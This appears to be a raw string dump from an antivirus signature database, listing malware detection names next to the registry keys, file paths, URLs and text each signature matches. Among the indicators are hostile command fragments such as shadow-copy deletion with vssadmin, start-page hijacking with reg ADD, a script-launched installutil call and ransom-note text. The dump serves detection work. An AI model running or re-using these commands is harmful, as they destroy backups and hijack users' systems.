71789e6ba8a8   7278196454ee  72786c1f4664  72789a9a989e  73780c09f1a4  73780cb9eac2  73783a5ad497  73786f2c2247  737875d5dd31  73789617d3db  7378d84aadb4  74781c504347  747843511917  7478fbbbd402  75400040b0ee  75617c42acba  75782ed5945d  7578483a0ae1  757864ee8cf1  7578c079629b  7578ea2e6430  76780537b996  767896145592  76789bc55488  7678bf97f611  7678e4e2f15f  7678f1120577  7761b5237a11  7778d5d69d99  7878055105e7  787828bad3b4  7878883a4aef  78789306b093  7878a8467461  7878ae27f0b7  7878db19be8e  796175970732  79784d2c0786  797863762afc  79786c32700a  797871bfdf23  797882c54db5  7a784f2021d6  7a78f734b372  7b78ab3beaf7  7b78cfbef4ee  7c61e3a332c0  7c78064b7146  7c784489dd95  7c787485693d  7c788e5c1cde  7c78adc919f9  7c78bcb75cf8   7c78d77cc703 : Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Bar888 Bar888.dll and click YES to continue uninstallation. Uninstallation aborted. SystemBiosDate_ \\svchosts.exe_ %\\svchosts.exe_ \\unsvchosts.exe` \\toolbar888`0 \\common files\\{304f0413-0a8c-2052-0814-030001}`0 \\common files\\{504f0413-0a8c-2052-0814-030001}c %\\unsvchosts.exe` &\\toolbar888`0&\\common files\\{304f0413-0a8c-2052-0814-030001}`0&\\common files\\{504f0413-0a8c-2052-0814-030001}c Software\\MyToolBar Software\\MyToolBarc- Software\\Classes\\MyToolBar.MyToolBarObj 'Software\\Classes\\MyToolBar.MyToolBarObjc/ Software\\Classes\\MyToolBar.MyToolBarObj.1 )Software\\Classes\\MyToolBar.MyToolBarObj.1cD Software\\microsoft\\windows\\currentversion\\uninstall\\ToolBar888 >Software\\microsoft\\windows\\currentversion\\uninstall\\ToolBar888cf SOFTWARE\\Microsoft\\Code Store Database\\Distribution Units\\{00000000-0000-0000-0000-100005000004} `SOFTWARE\\Microsoft\\Code Store Database\\Distribution Units\\{00000000-0000-0000-0000-100005000004}cr SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ShellExecuteHooks\\\\{cfe9e8a8-38c0-4ef8-aec2-5035efe81030} lSOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ShellExecuteHooks\\\\{cfe9e8a8-38c0-4ef8-aec2-5035efe81030}q \\toolbar888\\activate.exeq &\\toolbar888\\activate.exeq \\toolbar888\\mytoolbar.dllq; \\common files\\{382d5d71-0957-1033-0729-050001}\\uninst.exeq; \\common files\\{782d5d71-0957-1033-0729-050001}\\update.exeq; \\common files\\{dcceb19b-0700-1033-0814-030001}\\update.exeq= \\common files\\{382d5d71-0957-1033-0729-050001}\\activate.exeq= \\common files\\{782d5d71-0957-1033-0729-050001}\\services.dllq> \\common files\\{382d5d71-0957-1033-0729-050001}\\mytoolbar.dll] &\\toolbar888\\mytoolbar.dllq;&\\common files\\{382d5d71-0957-1033-0729-050001}\\uninst.exeq;&\\common files\\{782d5d71-0957-1033-0729-050001}\\update.exeq;&\\common files\\{dcceb19b-0700-1033-0814-030001}\\update.exeq=&\\common files\\{382d5d71-0957-1033-0729-050001}\\activate.exeq=&\\common files\\{782d5d71-0957-1033-0729-050001}\\services.dllq>&\\common files\\{382d5d71-0957-1033-0729-050001}\\mytoolbar.dll] BrowserModifier:Win32/Forethought  !BrowserModifier:Win32/Forethought Cgxp  Software\\microsoft\\windows\\currentversion\\uninstall\\treewood <Software\\microsoft\\windows\\currentversion\\uninstall\\treewood] !Multi.TVSK @ !Berbew CRYPTKEY CRYPTEND ,\\device\\physicalmemory %FindNextFileA %FindNextFileAU %FindNextFileW %FindNextFileWU MonitoringTool:Win32/AllInOneKeylogger &MonitoringTool:Win32/AllInOneKeylogger =Gc9NR \\all in one.lnk_: \\microsoft\\internet explorer\\quick launch\\all in one.lnk` \\relytec` \\enihcamtaogcV &\\enihcamtaogcV Software\\microsoft\\windows\\currentversion\\uninstall\\All In One Keylogger 2.7_is1 PSoftware\\microsoft\\windows\\currentversion\\uninstall\\All In One Keylogger 2.7_is1q \\enihcamtaog\\csrss.exe] &\\enihcamtaog\\csrss.exe] !CarpeDiem ipwatchwinshoenolog SoftWare\\CarpeDiemVars\\Kit\\ dialup.carpediem. perl/countdialupinter.pl?name= perl/countdialupinter.pl?name=x RasDialEvent CDUpdater.exe C:\\Montorgueil\\ http://dialup.carpediem.fr/perl/dialup.pl http://dialup.carpediem.fr/perl/countdialupinter.pl? http://dialup.carpediem.fr/perl/countdialupinter.pl?x uiDialModemGetPingEvent dialup.pl http://adsl.carpediem.fr/perl/invoc_oneway.pl? CD_Dialer \\montorgueil` &\\montorgueil` \\programs\\hot dialerc Software\\Montorgueil Software\\Montorgueil] !VB.EW !VB.H \t9g`v# !VB.I !Small.AWV MonitoringTool:Win32/Softcows \\chatlogs.dll_ $\\chatlogs.dll_ \\activity keylogger.lnk` \\activity keylogger` \\activity keyloggerc! &\\activity keyloggerc! Software\\Activity Keylogger Software\\Activity Keylogger] !Lowzones.BZ !Lowzones.BZ\t@ !Zapchast !ZapchastU@ zo'q) [\"*~@ $|S0 r  QA(Ng { QA(Ng g&-`Z 32evW SYSTEM\\CurrentControlSet\\Services\\Wlan1934 *SYSTEM\\CurrentControlSet\\Services\\Wlan1934] Software\\Classes\\SeAd.Ad Software\\Classes\\SeAd.Adc  Software\\Classes\\SeAd.Ad.1 Software\\Classes\\SeAd.Ad.1] !Lager !Lowzones.A Program:Win32/Yazzle.B !VB.NH ,Explorer\\Shell Folders `tiwlbnapgjsp4qyzsylldu3ylv4rnvcr2wejder4py9rvmdc \\MsVersion.exe Tupdate regRun JxI\\p !Compidere Software\\AdwareDisableKey3 Software\\AdwareDisableKey3c  Software\\AdwareDisableKey3] !Sinowal.D !Brunme.A ~HbC@ \\winbrume.datc %\\winbrume.datc Software\\DBZBHO Software\\DBZBHOc Software\\ZEROSOFT Software\\ZEROSOFT] D\\,!D Program:Win32/Yazzle.A gJdoJ !BK\t@ Software\\Classes\\Da.Bomb Software\\Classes\\Da.Bombc  Software\\Classes\\Da.Bomb.1 Software\\Classes\\Da.Bomb.1c! Software\\Classes\\Crypt.Core Software\\Classes\\Crypt.Corec# Software\\Classes\\Crypt.Core.1 Software\\Classes\\Crypt.Core.1c# Software\\Classes\\ONONE.Theimp Software\\Classes\\ONONE.Theimpc% Software\\Classes\\ONONE.Theimp.1 Software\\Classes\\ONONE.Theimp.1] \"D\\:#D BrowserModifier:Win32/Searchingbooth  $BrowserModifier:Win32/Searchingbooth Iog&@K #D\\8'D BrowserModifier:Win32/Hijacker.E   BrowserModifier:Win32/Hijacker.E  ID2D`\t \\pshopec  ID2D`\t&\\pshopec Software\\PSHope Software\\PSHopeq \\pshope\\pshope.exeq &\\pshope\\pshope.exeq \\pshope\\uninstall.exe] &\\pshope\\uninstall.exe] !QUrl @ 2),gG 4D\\'7D !EICAR_Test_File  Q5.c] @D\\(CD !Searchclickads Software\\microsoft\\windows\\currentversion\\uninstall\\OvMon 9Software\\microsoft\\windows\\currentversion\\uninstall\\OvMoncB SYSTEM\\CurrentControlSet\\Services\\Windows Overlay Components <SYSTEM\\CurrentControlSet\\Services\\Windows Overlay Componentsq \\pscastor\\pscastor.exe] &\\pscastor\\pscastor.exe] $8t O ED\\ GD 1FnDialer attern not found! Function not found! fnDialerDll attern not found!Function not found!InfofnDialerDll] !Dialui DialUI Would you like to reconnect to the internet? Time limit reached.  You are now being disconnected We hope you've enjoyed the games! software\\microsoft\\windows\\currentversion\\wintrust\\trust providers\\software publishing\\trust database\\0 update.php  [%d%s/min] reconn_url http://127.0.0.1:20202/remind.html AOL_Frame25 AOL_Frame25] !Axis.B iexplore.exe http:// @mmprs premium /file.exe /file.exe] JD\\\"KD !WebDialler ,0-^i playground.com BADxTICKETxSTATUS DialerIconEvent 64.159.91.193 Obtained fresh ticket:  SOFTWARE\\WebDialler teenpussy.andlotsmore.com n6ddlaappmutex n6ddlaappmutexx %02d:%02d:%02d, %c%02d.%02d per min AOL Dial-On-Demand feature membersplayground.com/ SOFTWARE\\SimpleDeliveryVehicle SOFTWARE\\SimpleDeliveryVehiclex Bei Benutzung dieser Software wird Ihr Modem eine 0190 (Deutschland), BTV Industries SOFTWARE\\DiallerProgram\\%s che erhebt und es mit seiner Genehmigung geschieht, wenn er durch den che erhebt und es mit seiner Genehmigung geschieht, wenn er durch denx RasDial DIDIpremiumdp_@mmprs 058343 DIDI114058343 http://community.derbiz.com/ andlotsmore.com surfya.com  http://www.mypaymate.com/dialerplatform/tmp.htm 194.67.87.33 222.2.111.55 ASDPLUGIN ASDPLUGIN] KD\\&LD !Trafficadvance .trafficadvance.net  ad Internet )\\Microsoft\\Internet Explorer\\Quick Launch RCF.%hd.%hd|MoD.%hd RCF.%hd.%hd|MoD.%hda DSoftware\\Microsoft\\SystemCertificates\\TrustedPublisher\\Certificates  RASApi32.dll ASOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones AccessMySQL. \t&Recupera \t&Recuperax trafficadvance.net Connessione terminata, riconnettersi? dial709 NWDialerMini NETVISION dcikpcfhalmblomhkcfcebnnefiledge anjpbmbpjjaghgmoncmmkfhmmmd goicfboogidikkejccmclpieicihhlpo ahkdca Passe-partout Pronostici PronosticixI Recupera TempoEntra SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones Non ci sono modem configurati nel sistema. http://www.3000.ws/  Disinstalla.lnk No modem has taken shape in this system. No modem has taken shape in this system.] !Rapido Gracias por utilizar los servicios de acceso .accesorapido.com  por minuto. Tiempo aprox. restante: %dm %ds Tiempo aprox. restante: %dm %ds] MD\\!PD !Colecto AtlMon.ReusableComp.5 AtlMon.ReusableComp.5c AtlMon.ReusableComp.7 AtlMon.ReusableComp.7] PD\\!QD !DlStwoyle {B5959C25-CBBD-4dcc-8C98-DA25EBB3D89F} &dtype=%s&dname=%s&phone=%s q%d_disk.dll acc%d &tmmin=%d &tmmin=%d] !Adialer !Adialer%@ dialer-pl-temp\\dial-intelli-v \\kol.pas Internet Sexplorer  S E X P L O R E R SOFTWARE\\Microsoft\\Windows\\Currentversion\\Run -SOFTWARE\\Microsoft\\Windows\\Currentversion\\Run /min z vat. Nazwa operatora podana jest poni ,/min z vat. Nazwa operatora podana jest ponix lKa3GYT3jydNhXwixyxi4Xdi8Bm0GNl6qYCibrLP5OQXY8FAJSie/viNtJmkw10Qq1wNMst/EyFeKkaUhKeZqgOdLtJUaEmubqkyhWRB lLytujakGNW58PaCJ5hc+d/YrhcTVRGpe2gxIDuYJkPRIUcOhGCCSBEgmKOojsxB9lDpC1kcv1Ic8A== lJygpruDLj57lvzH5DU5V722qy+Koe5Qj6cYifYoljTFww== lJygpruDLj57lvzH5DU5V722qy+Koe5Qj6cYifYoljTFww==x &site= &country= ?webmaster= Dial error! Code: %d! if exist \"%s\" goto Loop UninstallDialer... %02d.%02d.%04d %02d:%02d:%02d C:\\WINDOWS\\Coder\\coder.log Restart... HangUp :\\TEMP\\ kernel32::ReadFile( kgjqaucmcaoasj dwjxgabcxwfsl vbgvklozwrg vpimqgwobs vqtkzjafquzjyf vqtkzjafquzjyfx !#HSTR:MSIL/Tnega.RRH1307!MTB p%ow%er%sh%el%l What the fuck!x !#TEL:Trojan:Win32/Zbot.RM!MTB T(Proxy server) _T(Port:) _T(User:) _T(Password:) Gatekeeper Gatekeeperx !#HSTR:Trojan:MSIL/AgentTesla.OXAV!MTB k !#ALF:Worm:Win32/Dridex.VT!MTB \t!#ALF:Worm:Win32/Dridex.VT!MTB HWND_UserSize GetSystemPowerStatus WTSEnumerateProcessesW WTSRegisterSessionNotification WTSShutdownSystem WTSWaitSystemEvent WTSWaitSystemEventx !#TEL:Trojan:Win32/Kovter_Decrypt !#ALF:HackTool:Win32/Blackmailer SOFTWARE\\BlackMailer BlackMailer\\license.dat Do not use this tool for spamming! CompanyNameBlackMailerx !#Lowfi:TrojanDownloader:Win32/Eyooun :niuniu _wangju_union_ad_server Download>>>[ wj.center. .info cleandata.yac.mx/Yacapi/returnExec SYSTEM\\CurrentControlSet\\services\\iSafeService \\Build\\isafe\\branches\\ \\bin\\iSvc.pdb !#Lowfi:HSTR:BProtect:AvgIEToolbar toolbar.dll - ProcessInstallPreference - SetNewTab CRegistryGuard::GetRegistryKeyValue AVG Secure Searchx Paint1.CustomColorDialog.resources Paint1.Form1.resources PaintIt.Main.resources PaintIt.Properties.Resources.resources PaintIt.ScreenOverlay.resources !#HSTR:Trojan:MSIL/AgentTesla.OXGO!MTB    WinMarketDataRetriver get_SADXHIJU get_MainDomains ssssc WinMarketDataRetriver.MDXs !#ALF:HSTR:Ransom:MSIL/LockScreen.H Customer Service  1-844-459-8882 Customer support    !#HSTR:Win32/Obfuscator.WriteProcessMemoryNamePatch.A \t!#HSTR:Win32/Obfuscator.WriteProcessMemoryNamePatch.A riteProcessMemory riteProcessMemoryx !#ALF:Trojan:Win32/QbotCrypt.B!MTB !#ALF:Hacktool:Win32/Cuckcu.A!dha 34544b98-a943-4f7b-b818-74eddbb8b705 \\ccu\\ccu\\ccu\\  \\encrption program\\ EncryptFile: This program isn't allowed here 5AA95D22 \\Error.txtx !#ALF:HSTR:Crossrider_Installer6 autoenablechrome is defined. BundledChrome autoenablechrome is defined.BundledChrome - Writing the extension to Chrome's policy. Software\\Policies\\Google\\Chrome\\ExtensionInstallForcelist - Writing the extension to Chrome's policy.Software\\Policies\\Google\\Chrome\\ExtensionInstallForcelist InsertChromeExtensionToChromePreferencesFile crossriderapp crossriderappx !#ALF:Trojan:Win64/Frooty.A!dha \\GlooxSounds \\chat_request.wav \\incoming.wav today20040917~~ HmM, We can't rEach tHIs pAgE This list describeS the TWO forMs. Hi, Give me your new phone NO. Hi, Give me your new phone NO.x !#HSTR:Trojan:Win32/Tnega.PAB!MTB lohukiwazitasixubalicacefome fodaxe hifisudefiziyigalejajarinekaham gokatunimefop liwiwirarup vofovocadicupupelirujifayas bitenipuselucimixofeyolujuc gukagigu vofovocadicupupelirujifayas bitenipuselucimixofeyolujuc gukagigux !#TEL:HackTool:Win32/Fingerprint.A!dha Cannot bind to LDAP://root ProcessInfo KB[0-9]{6}$ DetectAntivirus: \\SecurityCenter2 Path AntiSpywareProduct Get /format:htablex !#SLFPER:Trojan:Win32/ShortWick.B!dha ff7172d9c888b7a88a7d77372112d772 ACTION=VIEW&PAGE=%s&CODE=%s&CACHE=%s&REQUEST=%d /ACTION=VIEW&PAGE=%s&CODE=%s&CACHE=%s&REQUEST=%d ACTION=PREVPAGE&CODE=C%s&RES=%d ACTION=NEXTPAGE&CODE=S%s&CACHE=%s&RES=%d (ACTION=NEXTPAGE&CODE=S%s&CACHE=%s&RES=%dx !#HSTR:MSIL/Packer.NativeCall.A NtResumeThread !#Adware:Win32/SideOn  sideon.co.kr/ .co.kr/ex.dat except.dat ex.dat this%sraison setting.dat %s\\%s\\ setting.dat%s\\%s\\ retarget urlretarget urlex delurlex WinPro.ini WinPro.dll /th0.asp?k=%s&id /except.dat Winkey.ini [keywordsex]x !#ALF:Trojan:Win32/StartPage.SH!MTB Run Game.exe.bat1 219 reg delete \"HKCU\\Software\\Microsoft\\Internet Explorer\\Main\" /V \"START PAGE\" /f i reg ADD \"HKCU\\Software\\Microsoft\\Internet Explorer\\Main\" /V \"START PAGE\" /t REG_SZ /d http://www.egy8.com reg ADD \"HKCU\\Software\\Microsoft\\Internet Explorer\\Main\" /V \"START PAGE\" /t REG_SZ /d http://www.egy8.comx !#ALF:Trojan:MSIL/AgentTesla.BLH!MTB ClassLibrary.Jmcagvp.Data .Load. .Load.x !#ALF:PSW:MSIL/Disstl.BAD!MTB bdlevel\\egarotS lacoL\\btpdrocsid bdlevel\\egarotS lacoL\\yranacdrocsid Reverse_Token_Grabber_Source ([A-Za-z0-9_\\./\\\\-]*) RemoveAccessRule WebHook DownloadStringx !#ALF:Trojan:Win64/IcedId.SIBG!MTB !#HSTR:Obfuscator.OffsetsToLocals.A !#FakeCert!MEUSCA21 =L D_XO !#FakeCert!MEUSCA23 An i_ L~FPj !#ALFPER:Win32/Foniad!domain enclosely.info maraukog.info suggedin.info insupposity.info efishedo.info aclassigned.info acinster.infox !#ALF:Trojan:Win32/AgentCrypt.SN!MTB !#ALF:Trojan:Win32/Zbot.RSD!MTB  T2w[X \\eiolohon  otify\\ rolxet001\\ ervices\\Xhar ccess\\ nacled: me.uknet !#ALF:Exploit:Win32/Chessila.A!dha Failed to allocate memory at address 0xffffffff, please try again NtDCompositionCreateSynchronizationObject SeSetAccessStateGenericMapping NtQuerySystemInformation error Inappropriate Operating System Inappropriate Operating Systemx TestSecurity.dll ITS Secure Browser.exe Software\\VB and VBA Program Settings\\ITSSecureApps\\Configuration C:\\Program Files\\ITS\\Exam Files C:\\Program Files\\ITS\\Exam Filesx !#TEL:Trojan:Win32/Trogbot.C!dha \t!#TEL:Trojan:Win32/Trogbot.C!dha {324D8268-635E-4c4b-A99F-461C9F4FD377} holds data in an electromagnetic form STConfig STData strunlib.dll %sloop: %d min %sproxy %d: %s:%d <transferTempletToSummary> <RequestNativeBrowser> <RequestNativeBrowser>x !#ALF:Worm:Win32/Autorun.RG @icon @drv. @exeh -= The Porn Collection =- open=icondrv.exe shell\\Autoplay\\command=icondrv.exe \"shell\\Autoplay\\command=icondrv.exe SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon 5SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogonx !#HSTR:Trojan:MSIL/AgentTesla.SSMZ!MTB \t\t\t!#HSTR:Trojan:MSIL/AgentTesla.SSMZ!MTB Fc3D8Mib9dDb6T ORO510faSf6T54d P96ro24768de Hdh49kencpbxzc Y711G9J921Zlb7d Trump2026Trump2026 Trump2026Trump2026x !#SLFPER:Win32/Myrddin.C \t\t\t!#SLFPER:Win32/Myrddin.C /Ne0nd0g/merlin/ /pkg/messages.init /exec/exec_windows.go /pkg/messages.AgentControl /pkg/messages.CmdPayload /pkg/agent.ExecuteCommand /agent/agent_windows.go /merlinagent/main.go mattn/go-shellwords mattn/go-shellwordsx !#ALF:Backdoor:MSIL/GhostRat.GA!MTB \t\t f-secure.exe Mcshield.exe Sunbelt baiduSafeTray.exe {4D36E972-E325-11CE-BFC1-08002BE10318} [WIN] [Print Screen] Shellex %s\\%d.bak %s\\%d.bakx !#ALF:Trojan:MSIL/AgentTesla.BBF!MTB    StartTests RefRegModel ClassLibrary1 ClassLibrary1StartTests 77*90*144*0*3* *33*0*0*0*5*0*0*0*73*0*0*0*56*28*0*0*0*2*3*40*2*0*0*6*32*0 AssemblyResolvex !#HSTR:Trojan:MSIL/AgentTesla.VI22!MTB _ aiiD39x/oTfKXhd/dkA41iBiQ6YtYGdk asmndbnmdb VerifyDetails VerifyDetailsx !#FakeCert!MEUSCA22 sP_i^ !#ALF:HSTR:VirTool:MSIL/GeneralPacker.S0F CreateObject(\"WScript.Shell\").run strs,0,false = \"%windir%\\Microsoft.NET\\Framework\\v2.0.50727\\installutil /logtoconsole=false /logfile= /u \" & Chrw( ) & \"%path%\" & Chrw( !#ALF:TrojanDownloader:Win64/IcedId.SIBB!MTB !#HSTR:Trojan:Win32/Mapstosteal PCOM.DLL NewPatcher.exe SOFTWARE\\Wizet\\MapleStory LoginGAME \tLoginGAME MapleStory.exe MapleStoryGlobal :: MapleStory - Microsoft Internet Explorer <MapleStoryGlobal :: MapleStory - Microsoft Internet Explorer ?WzSoap_ConsultDelete@ D:\\DevPatch\\_FINAL\\Bin\\MapleStory.pdb D:\\DevPatch\\_FINAL\\Bin\\MapleStory.pdbx http://zsnews.zhongsou.com/zsnews.cgi?tps=3&agent=%s&word= %s %s hcnet3_running %s %sopenrhcnet3_runningiexplore.exe IEXPLORE.EXE http\\shell\\open\\commandIEXPLORE.EXE ForceRemove {594BE7B2-23B0-4FAE-A2B9-0C21CC1417CE} = s 'Search Class' ForceRemove {594BE7B2-23B0-4FAE-A2B9-0C21CC1417CE} = s 'Search Class'x !#ALF:Trojan:MSIL/Tnega.RM!MTB $4ab3b95d-373c-4197-8ee3-fe0fa66ca122 Rhttps://s1.ax1x.com/2020/04/28/J4Zp9S.png Loader.Loader DebuggerInactive DebuggerInactivex !#ALF:Trojan:Win32/WebDial.SM!MSR Software\\Webdialer WebDialer -   Reg.N: Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Webdialer -  http://www.redirserver.com/update4.cfm?tid=&cn_id= http://www.redirserver.com/update4.cfm?tid=&cn_id=x !#SLF:Trojan:Win32/Shmusho.C!dha Operation_Global_Code_tag /tmp/devlog/orbit/keyring/ send sms from %s imsi:%s to %s /ts_123040v040200p.pdf nono%s_%04d%02d%02d.csv tcap parse continue originating transaction id tag fail libpcap.so.1 libpcap.so.1x !#TEL:Trojan:Win32/GreenSprog.A botid=%s sysinfo=/api/pop ---------------------------287055381131322 Content-Disposition: form-data; name=\"uploaded\"; filename=\" Content-Disposition: form-data; name=\"botid\" /api/pop?botid= output=%s& output=%s&x !#ALF:HackTool:Win64/Kerdu.A CVE-2015-2291 EneTechIo64 KDUControlProcess KDUProvList PROCEXP152 -rport tcpip.sys tcpip.sysx !#ALF:Ransom:MSIL/FileCryptor.AB!MTB do not try to rename encrypted files Your computer is infected with a virus. ALL YOUR FILES ARE ENCRYPTED /C choice /C Y /N /D Y /T 1 & Del .info.hta SPI_SETDESKWALLPAPER fileEncryptionrc4 fileEncryptionrc4x !#TEL:Trojan:Win32/RedJetsam.A!dha \\Red2\\MiddleMan\\Bin\\ MiddleMan.exe 77393C65-EEBB-43B3-8793-19CF95413977 passMe Middle.ini startup database module error. Del user [%s] %s. Reuse V2 implicit activation dosen't support NT 6.0+ os Reuse V2 implicit activation dosen't support NT 6.0+ osx !#HSTR:Trojan:MSIL/AgentTesla.OXFJ!MTB    sadada MessageSurrogateFilter RC2Decrypt IKMNJIUHBVGYTCVXRDEF SelectorX SelectorXx !#AllowList:ConsoleApplication C:\\Users\\jselbie\\source\\repos\\ConsoleApplication \\Debug\\ConsoleApplication PDBOpenValidate SOFTWARE\\Wow6432Node\\Microsoft\\VisualStudio\\ \\Setup\\VC !#ALF:Ransom:Win32/MegaCortex.A!MTB Man is the master of everything and decides everything If you are reading this text, it means, we've hacked your corporate network. vssadmin delete shadows /all /for= !!!_READ-ME_!!!.txtx !#ALF:Trojan:Win32/Zbot.SIBZ!MTB PQYXXPQYX APQYX_N WPQYX !#FakeCert!METPPCA2019 !#HSTR:VirTool:Win32/DelfInject.AL jjjhP FileNameAtual  PERSIST   shell_traywnd  !#ALF:Hacktool:Win32/Skynetter.A!dha GetGmailSeletionHtml Yahoo Error Email Code Page Hotmail Error Obfuscation Page Truncate table IpsForbidx !#HSTR:Delphi_Decoder \"!#SCRIPT:Trojan:JS/Kilim!FB_Script '9\"!#SCRIPT:Trojan:JS/Kilim!FB_Script *!#SCPT:Exploit:VBS/CVE-2014-6332_SunDown.1 '9*!#SCPT:Exploit:VBS/CVE-2014-6332_SunDown.1 *!#SCPT:TrojanDownloader:VBS/Obfuse.RA1!MTB '9*!#SCPT:TrojanDownloader:VBS/Obfuse.RA1!MTB *!#SCPT:TrojanDownloader:VBS/Obfuse.RA2!MTB '9*!#SCPT:TrojanDownloader:VBS/Obfuse.RA2!MTB *!#SCPT:TrojanDownloader:VBS/Obfuse.RA3!MTB '9*!#SCPT:TrojanDownloader:VBS/Obfuse.RA3!MTB *!#SLF:HackTool:PowerShell/Macroburst.X!MTB '9*!#SLF:HackTool:PowerShell/Macroburst.X!MTB *!#SLF:HackTool:PowerShell/Macroburst.Y!MTB '9*!#SLF:HackTool:PowerShell/Macroburst.Y!MTB !#TEL:HTML/TechBrolo!redir #!#ALF:SCPT:Worm:VBS/Jenxcus!Crypt50 ':#!#ALF:SCPT:Worm:VBS/Jenxcus!Crypt50 $=>:x; !#SCRIPT:JS/Obfuscator.HF.2 !#SCRIPT:PowerShell/Hizak.A !#SCPT:Worm:VBS/Jenxcus!Crypt28 #!#SCRIPT:Exploit:Win32/Pdfjsc.AJQ.2 4 wt':#!#SCRIPT:Exploit:Win32/Pdfjsc.AJQ.2 #!#SCRIPT:Trojan:JS/Bepush!FB_Script ':#!#SCRIPT:Trojan:JS/Bepush!FB_Script ':#!#SLF:PowerShell/Ploty.gen.D!MainPS '!#SCPT:TrojanDownloader:JS/Nemucod.BK!B ':'!#SCPT:TrojanDownloader:JS/Nemucod.BK!B '!#SCPT:TrojanDownloader:JS/Nemucod.CM!A ':'!#SCPT:TrojanDownloader:JS/Nemucod.CM!A /!#SharedFragmentReplaceInFuncInFuncEncJSNemucod @':/!#SharedFragmentReplaceInFuncInFuncEncJSNemucod +!#TEL:SCPT:LowFi:Exploit:JS/Wagplat_lowfi_1 ':+!#TEL:SCPT:LowFi:Exploit:JS/Wagplat_lowfi_1 +!#TEL:SCRIPT:TrojanDownloader:JS/Nemucod.SB ':+!#TEL:SCRIPT:TrojanDownloader:JS/Nemucod.SB $!#ALF:TrojanDownloader:VBS/DMALocker ';$!#ALF:TrojanDownloader:VBS/DMALocker 0!#ALF:TrojanDownloader:PowerShell/Zojectdow.S001 ';0!#ALF:TrojanDownloader:PowerShell/Zojectdow.S001 .i 8Z 0!#ALF:TrojanDownloader:PowerShell/Zojectdow.S002 ';0!#ALF:TrojanDownloader:PowerShell/Zojectdow.S002 0!#ALF:TrojanDownloader:PowerShell/Zojectdow.S003 ';0!#ALF:TrojanDownloader:PowerShell/Zojectdow.S003 !#SCRIPT:PowerShell/DmnFoz.A !#SCRIPT:PowerShell/KepSez.A !#SLF:PowerShell/PoshC2!func ,!#TEL:SCPT:LowFi:Exploit:JS/Anogre.K_lowfi_1 ';,!#TEL:SCPT:LowFi:Exploit:JS/Anogre.K_lowfi_1 ,!#TEL:SCPT:LowFi:Exploit:JS/Anogre.K_lowfi_2 ';,!#TEL:SCPT:LowFi:Exploit:JS/Anogre.K_lowfi_2 !#SCPT:Exploit:JS/Axpergle.AI !#SCPT:Exploit:JS/Axpergle.BA !#SCPT:Exploit:JS/Axpergle.BH !#SCPT:Exploit:JS/Axpergle.BL !#SCPT:Exploit:JS/Axpergle.BN !#SCRIPT:PowerShell/FindFruit !#SCRIPT:PowerShell/Octopus.A !#SCRIPT:PowerShell/PowerView !#SCRIPT:PowerShell/SozProz.A '<%!#SCRIPTLOWFI:Trojan:PHP/Redirector.H !#ALF:PowerShell/GetBrowzer.A1 &!#ALF:Backdoor:PowerShell/Webrev.A!dha '=&!#ALF:Backdoor:PowerShell/Webrev.A!dha !#SCRIPT:PowerShell/PrivzChk.B &!#TEL:TrojanDownloader:VBS/Betisrypt.A '=&!#TEL:TrojanDownloader:VBS/Betisrypt.A !#ALF:DotNetMeterpreter MO@J V !#ALF:SCPT:VBS/Crypt.32 !#ALF:SCPT:VBS/Crypt.34 6xvJ-uM /!#ALF:HackTool:PowerShell/AADInternalsPSM.A!MTB '>/!#ALF:HackTool:PowerShell/AADInternalsPSM.A!MTB /!#ALF:HackTool:PowerShell/AADSyncSettings.A!MTB '>/!#ALF:HackTool:PowerShell/AADSyncSettings.A!MTB /!#ALF:SCPT:TrojanDownloader:Win32/Mekotio.B!bit '>/!#ALF:SCPT:TrojanDownloader:Win32/Mekotio.B!bit !#SCPT:Worm:VBS/Jenxcus!Crypt22 !#SCRIPT:PowerShell/Viewdevobfs '? !#ALF:Trojan:PowerShell/Winpin.A (!#ALF:Trojan:PowerShell/MSAppProxy.A!MTB '?(!#ALF:Trojan:PowerShell/MSAppProxy.A!MTB  !#SCRIPT:PowerShell/Ezchi.A1!MTB '? !#SCRIPT:PowerShell/Ezchi.A1!MTB 0!#SCPT:TrojanDownloader:PowerShell/Bartallex_gen '?0!#SCPT:TrojanDownloader:PowerShell/Bartallex_gen )!#SCRIPT:Powershell/DomainPasswordSpray.A '@)!#SCRIPT:Powershell/DomainPasswordSpray.A 1!#TEL:SCPT:TrojanDownloader:JS/PossibleNeutrinoEK '@1!#TEL:SCPT:TrojanDownloader:JS/PossibleNeutrinoEK *!#ALF:Trojan:PowerShell/ReverseShell.A!MTB 'A*!#ALF:Trojan:PowerShell/ReverseShell.A!MTB !#TEL:HTML/TechBrolo!Popup +!#ALF:SCPT:TrojanDownloader:VBS/Adodb.W!bit 'B+!#ALF:SCPT:TrojanDownloader:VBS/Adodb.W!bit !#SCRIPT:JS/Ploty.A }o9Z{ $!#ALF:HackTool:PowerShell/ADFS.A!MTB 'C$!#ALF:HackTool:PowerShell/ADFS.A!MTB (!#ALF:Backdoor:PowerShell/Goodabox.A!dha 'C(!#ALF:Backdoor:PowerShell/Goodabox.A!dha l(Ue8 (!#ALF:TrojanDownloader:VBS/REntS.SIB!MTB RH'C(!#ALF:TrojanDownloader:VBS/REntS.SIB!MTB ,!#ALF:HackTool:PowerShell/ProcessTools.A!MTB 'C,!#ALF:HackTool:PowerShell/ProcessTools.A!MTB %!#ALF:HackTool:PowerShell/Noterally.A 'D%!#ALF:HackTool:PowerShell/Noterally.A )!#ALF:TrojanDownloader:VBS/REntS.SIBA!MTB 'D)!#ALF:TrojanDownloader:VBS/REntS.SIBA!MTB !#SCRIPT:PowerShell/Poshspy.A vc}F50 %!#SCPT:JS/Nemucod_TryAndReturnWscript 'D%!#SCPT:JS/Nemucod_TryAndReturnWscript &!#ALF:Trojan:PowerShell/OneDrive.A!MTB 'E&!#ALF:Trojan:PowerShell/OneDrive.A!MTB !#SLF:PowerShell/PoshC2.B.func oq%e_ !#SLF:PowerShell/PoshC2 %QS]. !#SCPT:VBS/JenxcusAnsiToString4 !#SCPT:Worm:VBS/Jenxcus!Crypt17 )!#ALF:HackTool:PowerShell/Namedpipe.A!MTB 